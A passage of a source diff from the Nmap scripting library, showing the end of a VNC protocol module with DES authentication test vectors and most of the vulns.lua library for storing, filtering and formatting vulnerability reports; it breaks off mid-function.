+ if ( self.vncsec.types[i] == sectype ) then
+ return true
+ end
+ end
+ return false
+ end,
+
+ --- Returns the protocol version reported by the server
+ --
+ -- @param version string containing the version number
+ getProtocolVersion = function( self )
+ return self.protover
+ end,
+
+ --- Send a ClientInit message.
+ --@param shared boolean determining whether the screen should be shared, or whether other logged-on users should be booted.
+ --@return status true if message was successful, false otherwise
+ --@return table containing contents of ServerInit message, or error message.
+ client_init = function (self, shared)
+ self.socket:send(shared and "\x01" or "\x00")
+ local status, buf = self.socket:receive_buf(match.numbytes(24), true)
+ if not status then
+ return false, "Did not receive ServerInit message"
+ end
+ local width, height, bpp, depth, bigendian, truecolor, rmax, gmax, bmax, rshift, gshift, bshift, pad1, pad2, namelen, pos = string.unpack(">I2I2 BBBB I2I2 I2BB BI2B I4", buf)
+ local status, buf = self.socket:receive_buf(match.numbytes(namelen), true)
+ if not status then
+ return false, "Did not receive ServerInit desktop name"
+ end
+ local name = buf:sub(1,namelen)
+ return true, {
+ width = width,
+ height = height,
+ bpp = bpp,
+ depth = depth,
+ bigendian = bigendian,
+ truecolor = truecolor,
+ rmax = rmax,
+ gmax = gmax,
+ bmax = bmax,
+ rshift = rshift,
+ gshift = gshift,
+ bshift = bshift,
+ name = name
+ }
+
+ end
+}
+
+if not HAVE_SSL then
+ local login_unsupported = function()
+ return false, "Login type unsupported without OpenSSL"
+ end
+ VNC.login_vncauth = login_unsupported
+ VNC.login_tls = login_unsupported
+ VNC.login_ard = login_unsupported
+end
+
+local unittest = require "unittest"
+if not unittest.testing() then
+ return _ENV
+end
+
+test_suite = unittest.TestSuite:new()
+-- Crypto tests require OpenSSL
+if HAVE_SSL then
+ local test_vectors = {
+ -- from John the Ripper's vnc_fmt_plug.c
+ -- pass, challenge, response
+ {
+ "1234567890",
+ "\x2f\x75\x32\xb3\xef\xd1\x7e\xea\x5d\xd3\xa0\x94\x9f\xfd\xf1\xd8",
+ "\x0e\xb4\x2d\x4d\x9a\xc1\xef\x1b\x6e\xf6\x64\x7b\x95\x94\xa6\x21"
+ },
+ {
+ "123",
+ "\x79\x63\xf9\xbb\x7b\xa6\xa4\x2a\x08\x57\x63\x80\x81\x56\xf5\x70",
+ "\x47\x5b\x10\xd0\x56\x48\xe4\x11\x0d\x77\xf0\x39\x16\x10\x6f\x98"
+ },
+ {
+ "Password",
+ "\x08\x05\xb7\x90\xb5\x8e\x96\x7f\x2a\x35\x0a\x0c\x99\xde\x38\x81",
+ "\xae\xcb\x26\xfa\xea\xaa\x62\xd7\x96\x36\xa5\x93\x4b\xac\x10\x78"
+ },
+ {
+ "pass\xc2\xA3",
+ "\x84\x07\x6f\x04\x05\x50\xee\xa9\x34\x19\x67\x63\x3b\x5f\x38\x55",
+ "\x80\x75\x75\x68\x95\x82\x37\x9f\x7d\x80\x7f\x73\x6d\xe9\xe4\x34"
+ },
+ }
+
+ for _, v in ipairs(test_vectors) do
+ test_suite:add_test(unittest.equal(
+ VNC:encryptVNCDES(v[1], v[2]), v[3]), v[1])
+ end
+end
+
+return _ENV
diff --git a/nselib/vulns.lua b/nselib/vulns.lua
new file mode 100644
index 0000000..755ec1b
--- /dev/null
+++ b/nselib/vulns.lua
@@ -0,0 +1,2317 @@
+---
+-- Functions for vulnerability management.
+--
+-- The vulnerabilities library may be used by scripts to report and
+-- store vulnerabilities in a common format.
+--
+-- Reported vulnerabilities information must be stored in tables.
+-- Each vulnerability must have its own state:
+-- <code>NOT_VULN</code>: The program was confirmed to be not vulnerable.
+-- <code>LIKELY_VULN</code>: The program is likely to be vulnerable,
+-- this can be the case when we do a simple version comparison. This
+-- state should cover possible false positive situations.
+-- <code>VULN</code>: The program was confirmed to be vulnerable.
+-- <code>EXPLOIT</code>: The program was confirmed to be vulnerable and
+-- was exploited successfully. The <code>VULN</code> state will be
+-- set automatically.
+-- <code>DoS</code>: The program was confirmed to be vulnerable to Denial
+-- of Service attack. The <code>VULN</code> state will be set
+-- automatically.
+--
+-- To match different vulnerability states, like the <code>VULN</code>
+-- and <code>EXPLOIT</code> states or the <code>VULN</code> and
+-- <code>DoS</code> states, one can use the bitwise operations.
+--
+--
+-- Vulnerability table:
+-- --------------------
+-- <code>
+-- local vuln_table = {
+-- title = "BSD ftpd Single Byte Buffer Overflow", -- mandatory field
+-- state = vulns.STATE.EXPLOIT, -- mandatory field
+-- -- Of course we must confirm the exploitation, otherwise just mark
+-- -- it vulns.STATE.VULN if the vulnerability was confirmed.
+-- -- states: 'NOT_VULN', 'LIKELY_VULN', 'VULN', 'DoS' and 'EXPLOIT'
+--
+--
+-- -- The following fields are all optional
+--
+-- IDS = { -- Table of IDs
+-- -- ID Type ID (must be a string)
+-- CVE = 'CVE-2001-0053',
+-- BID = '2124',
+-- },
+--
+-- risk_factor = "High", -- 'High', 'Medium' or 'Low'
+-- scores = { -- A map of the different scores
+-- CVSS = "10.0",
+-- CVSSv2 = "...",
+-- },
+--
+-- description = [[
+-- One-byte buffer overflow in BSD-based ftpd allows remote attackers
+-- to gain root privileges.]],
+--
+-- dates = {
+-- disclosure = { year = 2000, month = 12, day = 18},
+-- },
+--
+-- check_results = { -- A string or a list of strings
+-- -- This field can store the results of the vulnerability check.
+-- -- Did the server return anything ? some specialists can
+-- -- investigate this and decide if the program is vulnerable.
+-- },
+--
+-- exploit_results = { -- A string or a list of strings
+-- -- This field can store the results of the exploitation.
+-- },
+--
+-- extra_info = { -- A string or a list of strings
+-- -- This field can be used to store and shown any useful
+-- -- information about the vulnerability, server, etc.
+-- },
+--
+-- references = { -- List of references
+-- 'http://www.openbsd.org/advisories/ftpd_replydirname.txt',
+--
+-- -- If some popular IDs like 'CVE' and 'OSVBD' are provided
+-- -- then their links will be automatically constructed.
+-- },
+-- }
+-- </code>
+--
+--
+-- The following examples illustrates how to use the library.
+--
+-- Examples for <code>portrule</code> and <code>hostrule</code> scripts:
+-- <code>
+-- -- portrule and hostrule scripts must use the vulns.Report class
+-- -- to report vulnerabilities
+-- local vuln_table = {
+-- title = "BSD ftpd Single Byte Buffer Overflow", -- mandatory field
+-- references = { -- List of references
+-- 'http://www.openbsd.org/advisories/ftpd_replydirname.txt',
+-- },
+-- ...
+-- }
+-- ...
+-- vuln_table.state = vulns.STATE.VULN
+-- local report = vulns.Report:new(SCRIPT_NAME, host, port)
+-- return report:make_output(vuln_table, ...)
+-- </code>
+--
+-- <code>
+-- local vuln_table = {
+-- title = "BSD ftpd Single Byte Buffer Overflow", -- mandatory field
+-- references = { -- List of references
+-- 'http://www.openbsd.org/advisories/ftpd_replydirname.txt',
+-- },
+-- ...
+-- }
+-- ...
+-- vuln_table.state = vulns.STATE.VULN
+-- local report = vulns.Report:new(SCRIPT_NAME, host, port)
+-- report:add(vuln_table, ...)
+-- return report:make_output()
+-- </code>
+--
+--
+-- Examples for <code>prerule</code> and <code>postrule</code> scripts:
+-- <code>
+-- local FID -- my script FILTER ID
+--
+-- prerule = function()
+-- FID = vulns.save_reports()
+-- if FID then
+-- return true
+-- end
+-- return false
+-- end
+--
+-- postrule = function()
+-- if nmap.registry[SCRIPT_NAME] then
+-- FID = nmap.registry[SCRIPT_NAME].FID
+-- if vulns.get_ids(FID) then
+-- return true
+-- end
+-- end
+-- return false
+-- end
+--
+-- prerule_action = function()
+-- nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
+-- nmap.registry[SCRIPT_NAME].FID = FID
+-- return nil
+-- end
+--
+-- postrule_action = function()
+-- return vulns.make_output(FID) -- show all the vulnerabilities
+-- end
+--
+-- local tactions = {
+-- prerule = prerule_action,
+-- postrule = postrule_action,
+-- }
+--
+-- action = function(...) return tactions[SCRIPT_TYPE](...) end
+-- </code>
+--
+--
+-- Library debug messages:
+--
+-- * Level 2: show the <code>NOT VULNERABLE</code> entries.
+-- * Level 3: show all the vulnerabilities that are saved into the registry.
+-- * Level 5: show all the other debug messages (useful for debugging).
+--
+-- Note: Vulnerability tables are always re-constructed before they are
+-- saved in the registry. We do this to avoid using vulnerability tables
+-- that are referenced by other objects to let the Lua garbage-collector
+-- collect these last objects.
+--
+-- @args vulns.showall If set, the library will show and report all the
+-- registered vulnerabilities which includes the
+-- <code>NOT VULNERABLE</code> ones. By default the library will only
+-- report the <code>VULNERABLE</code> entries: <code>VULNERABLE</code>,
+-- <code>LIKELY VULNERABLE</code>, <code>VULNERABLE (DoS)</code>
+-- and <code>VULNERABLE (Exploitable)</code>.
+-- This argument affects the following functions:
+-- vulns.Report.make_output(): the default output function for
+-- portule/hostrule scripts.
+-- vulns.make_output(): the default output function for postrule scripts.
+-- vulns.format_vuln() and vulns.format_vuln_table() functions.
+-- @args vulns.short If set, vulnerabilities will be output in short format, a
+-- single line consisting of the host's target name or IP, the state, and
+-- either the CVE ID or the title of the vulnerability. Does not affect XML output.
+--
+-- @author Djalal Harouni
+-- @author Henri Doreau
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local type = type
+local next = next
+local pairs = pairs
+local ipairs = ipairs
+local select = select
+local tostring = tostring
+local insert = table.insert
+local concat = table.concat
+local sort = table.sort
+local setmetatable = setmetatable
+local string_format = string.format
+local string_upper = string.upper
+
+local debug = stdnse.debug
+local compare_ip = ipOps.compare_ip
+
+_ENV = stdnse.module("vulns", stdnse.seeall)
+
+-- This is the vulnerability database
+-- (it will reference a table in the registry: nmap.registry.VULNS
+-- see the save_reports() function).
+local VULNS
+
+-- Vulnerability Database (registry) internal data representation
+--
+-- -- VULNS = nmap.registry.VULNS
+-- VULNS = {
+--
+-- -- Vulnerability entries
+-- ENTRIES = {
+--
+-- HOSTS = {
+-- -- Table of hosts
+-- [host_a_ip] = {
+-- -- list of vulnerabilities that affect the host A
+-- { -- vuln_1
+-- title = 'Program X vulnerability',
+-- state = vulns.State.VULN,
+-- IDS = {CVE = 'CVE-XXXX-XXXX', OSVDB = 'XXXXX'},
+--
+-- -- the following fields are all optional
+-- risk_factor = 'High',
+-- description = 'vulnerability description ...',
+--
+-- references = VULNS.SHARED.REFERENCES[x],
+-- },
+--
+-- { -- vuln_2
+-- ...
+-- },
+-- ...
+-- },
+--
+-- [host_b_ip] = {
+-- ...
+-- },
+-- },
+--
+-- NETWORKS = {
+-- -- list of vulnerabilities that lacks the 'host' table
+-- { -- vuln_1
+-- ...
+-- },
+-- {
+-- ...
+-- },
+-- },
+-- },
+--
+-- -- Store shared data between vulnerabilities here (type of data: tables)
+-- SHARED = {
+-- -- List of references, members will be referenced by the previous
+-- -- vulnerability entries.
+-- REFERENCES = {
+-- {
+-- ["http://..."] = true,
+-- ["http://..."] = true,
+-- ...
+-- },
+-- {
+-- ...
+-- },
+-- },
+-- },
+--
+-- -- These are tables that are associated with the different filters.
+-- -- This will help the vulnerabilities lookup mechanism.
+-- --
+-- -- Just caches to reference all the vulnerabilities information:
+-- -- tables, maps etc. Only memory addresses are stored here.
+-- FILTER_IDS = {
+--
+-- [fid_1] = { -- FILTER ID as it returned by vulns.save_reports()
+-- 'CVE' = {
+-- 'CVE-XXXX-XXXX' = {
+-- ENTRIES = {
+-- HOSTS = {
+-- -- References to hosts and their vulnerabilities
+--
+-- -- The same IP address with multiple targetnames.
+-- [host_a_ip] = {
+-- [host_a_ip_targetname_x] =
+-- VULNS.ENTRIES.HOSTS[host_a_ip][vuln_x],
+-- [host_a_ip_targetname_y] =
+-- VULNS.ENTRIES.HOSTS[host_a_ip][vuln_y],
+-- }
+-- [host_x_ip] = {
+-- [host_x_targetname_x or host_x_ip] =
+-- VULNS.ENTRIES.HOSTS[host_x][vuln_x],
+-- }
+-- [host_y_ip] = {
+-- [host_y_targetname_y or host_y_ip] =
+-- VULNS.ENTRIES.HOSTS[host_y][vuln_z],
+-- }
+-- ...
+-- },
+-- NETWORKS = {
+-- VULNS.ENTRIES.NETWORKS[vuln_x],
+-- ...
+-- }
+-- },
+-- },
+--
+-- 'CVE-YYYY-YYYY' = {
+--
+-- },
+-- },
+--
+-- 'OSVDB' = {
+-- 'XXXXX' = {
+--
+-- entries = {
+-- ...
+-- },
+-- },
+-- 'YYYYY' = {
+-- entries = {
+-- ...
+-- },
+-- },
+-- },
+--
+-- 'YOUR_FAVORITE_ID' = {
+-- 'XXXXX' = {
+-- ...
+-- },
+-- },
+--
+-- -- Entries without the vulnerability ID are stored here.
+-- 'NMAP_ID' = {
+-- 'XXXXX' = {
+-- ...
+-- },
+-- },
+-- },
+--
+-- [fid_2] = {
+-- ...
+-- },
+--
+-- [fid_3] = {
+-- ...
+-- },
+-- },
+--
+-- -- List of the filters callbacks
+-- FILTERS_FUNCS = {
+-- [fid_1] = callback_filter_1,
+-- [fid_2] = callback_filter_2,
+-- ...
+-- }
+--
+-- } -- end of VULNS
+
+
+-- This value is used to reference vulnerability entries
+-- that lacks vulnerability IDs.
+local NMAP_ID_NUM = 0
+
+-- SHOW_ALL: if set the format and make_output() functions will
+-- show the vulnerability entries with a state == NOT_VULN
+local SHOW_ALL = stdnse.get_script_args('vulns.showall') or
+ stdnse.get_script_args('vuln.showall') or
+ stdnse.get_script_args('vulns.show-all') or
+ stdnse.get_script_args('vuln.show-all')
+
+local SHORT_OUTPUT = stdnse.get_script_args('vulns.short')
+
+-- The different states of the vulnerability
+STATE = {
+ LIKELY_VULN = 0x01,
+ NOT_VULN = 0x02,
+ VULN = 0x04,
+ DoS = 0x08,
+ EXPLOIT = 0x10,
+ UNKNOWN = 0x20,
+}
+
+-- The vulnerability messages.
+STATE_MSG = {
+ [STATE.LIKELY_VULN] = 'LIKELY VULNERABLE',
+ [STATE.NOT_VULN] = 'NOT VULNERABLE',
+ [STATE.VULN] = 'VULNERABLE',
+ [STATE.DoS] = 'VULNERABLE (DoS)',
+ [STATE.EXPLOIT] = 'VULNERABLE (Exploitable)',
+ [STATE.DoS | STATE.VULN] = 'VULNERABLE (DoS)',
+ [STATE.EXPLOIT | STATE.VULN] = 'VULNERABLE (Exploitable)',
+ [STATE.UNKNOWN] = 'UNKNOWN (unable to test)',
+}
+
+-- Scripts must provide the correct risk factor string.
+local RISK_FACTORS = {
+ ['HIGH'] = true,
+ ['MEDIUM'] = true,
+ ['LOW'] = true,
+}
+
+-- Use this function to copy a variable into another one.
+-- If the src is an empty table then return nil.
+-- Note: this is a special function for this library.
+local function tcopy(src)
+ if src and type(src) == "table" then
+ if next(src) then
+ local dst = {}
+ for k,v in pairs(src) do
+ if type(v) == "table" then
+ dst[k] = tcopy(v)
+ else
+ dst[k] = v
+ end
+ end
+ return dst
+ else
+ return nil
+ end
+ end
+ return src
+end
+
+-- Use this function to push data from src list to dst list.
+local function tadd(dst, src)
+ if dst and type(dst) == "table" and src and type(src) == "table" then
+ for _, v in ipairs(src) do
+ dst[#dst + 1] = v
+ end
+ end
+end
+
+-- A list of popular vulnerability IDs with their callbacks to
+-- construct and return the correct links.
+local POPULAR_IDS_LINKS = {
+ CVE = function(id)
+ local link = 'https://cve.mitre.org/cgi-bin/cvename.cgi?name='
+ return string_format("%s%s", link, id)
+ end,
+ OSVDB = function(id)
+ local link = 'http://osvdb.org/'
+ return string_format("%s%s", link, id)
+ end,
+ BID = function(id)
+ local link = 'https://www.securityfocus.com/bid/'
+ return string_format("%s%s", link, id)
+ end,
+}
+
+--- Registers and associates a callback function with the popular ID
+-- vulnerability type to construct and return popular links
+-- automatically.
+--
+-- The callback function takes a vulnerability ID as a parameter
+-- and must return a link. The library automatically supports three
+-- different popular IDs:
+-- <code>CVE</code>: cve.mitre.org
+-- <code>OSVDB</code>: osvdb.org
+-- <code>BID</code>: www.securityfocus.com/bid
+--
+-- @usage
+-- function get_example_link(id)
+-- return string.format("%s%s",
+-- "http://example.com/example?name=", id)
+-- end
+-- vulns.register_popular_id('EXM-ID', get_example_link)
+--
+-- @param id_type String representing the vulnerability ID type.
+-- <code>'CVE'</code>, <code>'OSVDB'</code> ...
+-- @param callback A function to construct and return links.
+-- @return True on success or false if it can not register the callback.
+register_popular_id = function(id_type, callback)
+ if id_type and callback and type(id_type) == "string" and
+ type(callback) == "function" then
+ POPULAR_IDS_LINKS[string_upper(id_type)] = callback
+ return true
+ end
+ return false
+end
+
+--- Calls the function associated with the popular ID vulnerability
+-- type to construct and to return the appropriate reference link.
+--
+-- The library automatically supports three different popular IDs:
+-- <code>CVE</code>: cve.mitre.org
+-- <code>OSVDB</code>: osvdb.org
+-- <code>BID</code>: www.securityfocus.com/bid
+--
+-- @usage
+-- local link = vulns.get_popular_link('CVE', 'CVE-2001-0053')
+--
+-- @param id_type String representing the vulnerability ID type.
+-- <code>'CVE'</code>, <code>'OSVDB'</code> ...
+-- @param id String representing the vulnerability ID.
+-- @return URI The URI on success or nil if the library does not support
+-- the specified <code>id_type</code>, and in this case you can register
+-- new ID types by calling <code>vulns.register_popular_id()</code>.
+get_popular_link = function(id_type, id)
+ local id_vuln_type = string_upper(id_type)
+ if POPULAR_IDS_LINKS[id_vuln_type] then
+ return POPULAR_IDS_LINKS[id_vuln_type](id)
+ end
+end
+
+--- Validate the vulnerability information
+--
+-- @param vuln_table The vulnerability information table.
+-- @return True on success or false if some mandatory information is
+-- missing.
+local validate_vuln = function(vuln_table)
+ local ret = false
+
+ if type(vuln_table) == "table" and vuln_table.title and
+ type(vuln_table.title) == "string" and vuln_table.state and
+ STATE_MSG[vuln_table.state] then
+
+ if vuln_table.risk_factor then
+ if type(vuln_table.risk_factor) == "string" and
+ vuln_table.risk_factor:len() > 0 then
+
+ if RISK_FACTORS[string_upper(vuln_table.risk_factor)] then
+ ret = true
+ end
+ end
+ else
+ ret = true
+ end
+ end
+
+ return ret
+end
+
+--- Normalize the vulnerability information.
+--
+-- This function will modify the internal fields of the vulnerability.
+--
+-- @param vuln_table The vulnerability information table.
+local normalize_vuln_info = function(vuln_table)
+ if not vuln_table.IDS then
+ vuln_table.IDS = vuln_table.ids or {}
+ end
+
+ if not next(vuln_table.IDS) then
+ -- Use the internal NMAP_ID if vulnerability IDs are missing.
+ NMAP_ID_NUM = NMAP_ID_NUM + 1
+ -- Push IDs as strings instead of numbers to avoid
+ -- dealing with array holes.
+ vuln_table.IDS.NMAP_ID = string_format("NMAP-%d", NMAP_ID_NUM)
+ else
+ for id_type, id in pairs(vuln_table.IDS) do
+ -- Push IDs as strings instead of numbers to avoid
+ -- dealing with array holes.
+ if type(id) == "number" then
+ vuln_table.IDS[id_type] = tostring(id)
+ end
+ end
+ end
+
+ -- If the vulnerability state is 'DoS' or 'EXPLOIT' then set
+ -- the 'VULN' state.
+ if vuln_table.state == STATE.DoS or
+ vuln_table.state == STATE.EXPLOIT then
+ vuln_table.state = vuln_table.state | STATE.VULN
+ end
+
+ -- Convert the following string fields to tables.
+ if vuln_table.description and
+ type(vuln_table.description) == "string" then
+ vuln_table.description = {vuln_table.description}
+ end
+
+ if vuln_table.check_results and
+ type(vuln_table.check_results) == "string" then
+ vuln_table.check_results = {vuln_table.check_results}
+ end
+
+ if vuln_table.exploit_results and
+ type(vuln_table.exploit_results) == "string" then
+ vuln_table.exploit_results = {vuln_table.exploit_results}
+ end
+
+ if vuln_table.extra_info and
+ type(vuln_table.extra_info) == "string" then
+ vuln_table.extra_info = {vuln_table.extra_info}
+ end
+
+ if vuln_table.references and
+ type(vuln_table.references) == "string" then
+ vuln_table.references = {vuln_table.references}
+ end
+end
+
+-- Default filter to use if the script did not provide one.
+local default_filter = function(vuln_table) return true end
+
+--- Register the callback filters.
+--
+-- This function just inserts the callback filters in the filters_db.
+--
+-- @param filters_db The filters database (a table in the registry).
+-- @param filter_callback The callback function.
+-- @return FID The filter ID associated with the callback function.
+local register_filter = function(filters_db, filter_callback)
+ if filter_callback and type(filter_callback) == "function" then
+ filters_db[#filters_db + 1] = filter_callback
+ else
+ filters_db[#filters_db + 1] = default_filter
+ end
+ return #filters_db
+end
+
+--- Call filter functions.
+--
+-- The callback filters will take a vulnerability table and inspect
+-- it. The vulnerability will be stored in the registry if one of these
+-- filters return true.
+--
+-- @param filters_db The filters database (a table in the registry).
+-- @param vuln_table The vulnerability information table.
+-- @return List The list of filters that have returned True. If all the
+-- Filters functions returned false then nil will be returned.
+local filter_vulns = function(filters_db, vuln_table)
+ local FIDS = {}
+ for fid, callback in ipairs(filters_db) do
+ if callback(vuln_table) == true then
+ FIDS[#FIDS + 1] = fid
+ end
+ end
+ return next(FIDS) and FIDS or nil
+end
+
+--- Add IDs to the ID table
+--
+-- IDs can be 'CVE', 'OSVDB', 'BID' ...
+-- @usage
+-- l_add_id_type(fid_table, 'CVE')
+--
+-- @param fid_table The filter ID table.
+-- @param id_type String representing the vulnerability ID type.
+local l_add_id_type = function(fid_table, id_type)
+ fid_table[string_upper(id_type)] = fid_table[id_type] or {}
+end
+
+--- Get simple "targetname:port_number" keys
+local l_get_host_port_key = function(vuln_table)
+ local target = ""
+
+ if vuln_table.host and next(vuln_table.host) then
+ target = stdnse.get_hostname(vuln_table.host)
+
+ if vuln_table.port and next(vuln_table.port) then
+ target = target..string_format(":%d", vuln_table.port.number)
+ end
+
+ end
+
+ return target
+end
+
+--- Update the FILTER ID table references.
+--
+-- When a new vulnerability table is stored in the registry in the
+-- <code>nmap.registry.VULNS.ENTRIES</code> database, we will also update
+-- the <code>nmap.registry.VULNS.FILTERS_IDS[fid_table]</code> to
+-- reference the new saved vulnerability.
+--
+-- @usage
+-- l_update_id(fid_table, 'CVE', 'CVE-2001-0053', vuln_table)
+--
+-- @param fid_table The filter ID table.
+-- @param id_type String representing the vulnerability ID type.
+-- <code>'CVE'</code>, <code>'OSVDB'</code> ...
+-- @param id String representing the vulnerability ID.
+-- @param vuln_table The vulnerability table reference that was stored
+-- in the registry <code>nmap.registry.VULNS.ENTRIES</code>.
+-- @return Table A reference to the vulnerability table that was just
+-- saved in the <code>FILTER ID</code> table.
+local l_update_id = function(fid_table, id_type, id, vuln_table)
+ local id_type = string_upper(id_type)
+
+ -- Add the ID vulnerability type if it is missing
+ l_add_id_type(fid_table, id_type)
+
+ -- Make sure that we are referencing the correct tables
+ fid_table[id_type][id] = fid_table[id_type][id] or {}
+ fid_table[id_type][id]['ENTRIES'] = fid_table[id_type][id]['ENTRIES'] or {}
+ local push_table = fid_table[id_type][id]['ENTRIES']
+
+ if vuln_table.host and next(vuln_table.host) then
+ local target_key = l_get_host_port_key(vuln_table)
+ local host_info = string_format(" (host:%s %s)", vuln_table.host.ip, target_key)
+
+ debug(5,
+ "vulns.lua: Updating VULNS.FILTERS_IDS{} with '%s' ID:%s:%s %s",
+ vuln_table.title, id_type, id, host_info)
+ push_table.HOSTS = push_table.HOSTS or {}
+ push_table.HOSTS[vuln_table.host.ip] =
+ push_table.HOSTS[vuln_table.host.ip] or {}
+ push_table.HOSTS[vuln_table.host.ip][target_key] = vuln_table
+ return push_table.HOSTS[vuln_table.host.ip][target_key]
+ else
+ debug(5,
+ "vulns.lua: Updating VULNS.FILTERS_IDS{} with '%s' ID:%s:%s",
+ vuln_table.title, id_type, id)
+ push_table.NETWORKS = push_table.NETWORKS or {}
+ push_table.NETWORKS[#push_table.NETWORKS + 1] = vuln_table
+ return push_table.NETWORKS[#push_table.NETWORKS]
+ end
+end
+
+--- Lookup for vulnerability ID in the vulnerability database
+-- associated with the <code>FILTER ID</code>, and return
+-- a table of vulnerabilities identified by the provided ID.
+--
+-- @usage
+-- local ids_table = l_lookup_id(fid_table, 'CVE', 'CVE-2001-0053')
+--
+-- @param fid_table The filter ID table.
+-- @param id_type String representing the vulnerability ID type.
+-- <code>'CVE'</code>, <code>'OSVDB'</code> ...
+-- @param id String representing the vulnerability ID.
+-- @return Table A table of vulnerabilities if there are entries
+-- identified by the <code>id</code> parameter, otherwise nil.
+local l_lookup_id = function(fid_table, id_type, id)
+ local id_type = string_upper(id_type)
+ if fid_table[id_type] then
+ return fid_table[id_type][id]
+ end
+end
+
+--- Save the references in the references_db
+--
+-- @param references_db The references_db which is a table in the registry
+-- @param new_refs A list of references to save.
+-- @return table The table of references in the references_db.
+local l_push_references = function(references_db, new_refs)
+ if new_refs and next(new_refs) then
+ local refs = {}
+ for _, l in ipairs(new_refs) do
+ refs[l] = true
+ end
+ insert(references_db, refs)
+ return references_db[#references_db]
+ end
+end
+
+--- Re-construct the vulnerability table and save it in the vulnerability
+-- database (vulndb: registry).
+--
+-- @param vulndb The vulnerability database which is a table in the
+-- registry.
+-- @param new_vuln The vulnerability information table.
+-- @return vuln_table The vulnerability table in the vulndb.
+local l_push_vuln = function(vulndb, new_vuln)
+ -- Reconstruct the vulnerability table to avoid referencing
+ -- any old external data.
+ -- e.g: we can have other objects that reference the 'new_vuln'
+ -- object, so we reconstruct the 'vuln' object to not reference
+ -- the 'new_vuln' and to let the GC collect the 'new_vuln' and
+ -- any other external object referencing it.
+
+ local new_vuln = new_vuln
+
+ local vuln = {
+ title = new_vuln.title,
+ state = new_vuln.state,
+ _FIDS_MATCH = tcopy(new_vuln._FIDS_MATCH),
+ IDS = {},
+ }
+
+ if new_vuln.IDS and next(new_vuln.IDS) then
+ for id_type, id in pairs(new_vuln.IDS) do
+ vuln.IDS[string_upper(id_type)] = id
+ end
+ end
+
+ -- Save these fields only when the state is not 'NOT VULNERABLE'
+ if (new_vuln.state & STATE.NOT_VULN) == 0 then
+ if new_vuln.risk_factor then
+ vuln.risk_factor = new_vuln.risk_factor
+ vuln.scores = tcopy(new_vuln.scores)
+ end
+
+ vuln.description = tcopy(new_vuln.description)
+ vuln.dates = tcopy(new_vuln.dates)
+
+ -- Store the following information for the post-processing scripts
+ --vuln.check_results = tcopy(new_vuln.check_results)
+ --if vuln.check_results then
+ -- insert(vuln.check_results, 1,
+ -- string_format("Script %s checks:", new_vuln.script_name))
+ --end
+
+ --if (vuln.state & STATE.EXPLOIT) ~= 0 then
+ -- vuln.exploit_results = tcopy(new_vuln.exploit_results)
+ -- if vuln.exploit_results then
+ -- insert(vuln.exploit_results, 1,
+ -- string_format("Script %s exploits:", new_vuln.script_name))
+ -- end
+ --end
+
+ --vuln.extra_info = tcopy(new_vuln.extra_info)
+ --if vuln.extra_info then
+ -- insert(vuln.extra_info, 1,
+ -- string_format("Script %s info:", new_vuln.script_name))
+ --end
+ end
+
+ vuln.references = l_push_references(vulndb.SHARED.REFERENCES,
+ new_vuln.references)
+
+ if new_vuln.script_name then
+ vuln.scripts = {}
+ insert(vuln.scripts, new_vuln.script_name)
+ end
+
+ local ref_vuln
+ if new_vuln.host and next(new_vuln.host) then
+ vuln.host = tcopy(new_vuln.host)
+ vuln.port = tcopy(new_vuln.port)
+ vulndb.ENTRIES.HOSTS[vuln.host.ip] = vulndb.ENTRIES.HOSTS[vuln.host.ip] or {}
+ insert(vulndb.ENTRIES.HOSTS[vuln.host.ip], vuln)
+ ref_vuln = vulndb.ENTRIES.HOSTS[vuln.host.ip][#vulndb.ENTRIES.HOSTS[vuln.host.ip]]
+ else
+ insert(vulndb.ENTRIES.NETWORKS, vuln)
+ ref_vuln = vulndb.ENTRIES.NETWORKS[#vulndb.ENTRIES.NETWORKS]
+ end
+
+ -- Return a reference to the vulnerability table in the registry
+ return ref_vuln
+end
+
+--- Update the references that are stored in the references_db
+--
+-- @param references_db The references_db which is a table in the registry
+-- @param old_refs A table of the previously saved references.
+-- @param new_refs A list of references to save.
+-- @return table The table of updated references in the references_db.
+local l_update_references = function(references_db, old_refs, new_refs)
+ if old_refs and next(old_refs) and new_refs and next(new_refs) then
+ for _, l in ipairs(new_refs) do
+ old_refs[l] = true
+ end
+ end
+
+ return next(old_refs) and old_refs or nil
+end
+
+--- Update the vulnerability information table that was stored in the
+-- vulnerability database (vulndb: registry).
+--
+-- @param vulndb The vulnerability database which is a table in the registry.
+-- @param old_vuln The old vulnerability table stored in the vulndb.
+-- @param new_vuln The new vulnerability information table.
+-- @return vuln_table The updated vulnerability table in the vulndb.
+local l_update_vuln = function(vulndb, old_vuln, new_vuln)
+ local old_vuln, new_vuln = old_vuln, new_vuln
+
+ -- Update vulnerability state
+ if old_vuln.state < new_vuln.state then
+ old_vuln.state = new_vuln.state
+ end
+
+ -- Update the FILTERS IDS MATCH
+ for fid_table in pairs(new_vuln._FIDS_MATCH) do
+ old_vuln[fid_table] = true
+ end
+
+ -- Add new IDs to the old vulnerability entry
+ if new_vuln.IDS and next(new_vuln.IDS) then
+ for id_type, id in pairs(new_vuln.IDS) do
+ local id_vuln_type = string_upper(id_type)
+ if not old_vuln.IDS[id_vuln_type] then
+ old_vuln.IDS[id_vuln_type] = id
+ end
+ end
+ end
+
+ -- Remove these fields if the state is NOT VULNERABLE
+ -- Note: At this level the old_vuln.state was already updated.
+ if (old_vuln.state & STATE.NOT_VULN) ~= 0 then
+ old_vuln.risk_factor = nil
+ old_vuln.scores = nil
+ old_vuln.description = nil
+ old_vuln.dates = nil
+ --old_vuln.check_results = nil
+ --old_vuln.exploit_results = nil
+ --old_vuln.extra_info = nil
+ else
+ if new_vuln.risk_factor then
+ old_vuln.risk_factor = new_vuln.risk_factor
+ if not old_vuln.scores and new_vuln.scores then
+ old_vuln.scores = tcopy(new_vuln.scores)
+ end
+ end
+
+ if not old_vuln.description and new_vuln.description then
+ old_vuln.description = tcopy(new_vuln.description)
+ end
+
+ if not old_vuln.dates and new_vuln.dates then
+ old_vuln.dates = tcopy(old_vuln.dates)
+ end
+
+ -- Store the following information for the post-processing scripts
+ --if new_vuln.check_results then
+ -- old_vuln.check_results = old_vuln.check_results or {}
+ -- insert(old_vuln.check_results,
+ -- string_format("Script %s checks:", new_vuln.script_name))
+ -- tadd(old_vuln.check_results, new_vuln.check_results)
+ --end
+
+ --if new_vuln.exploit_results and
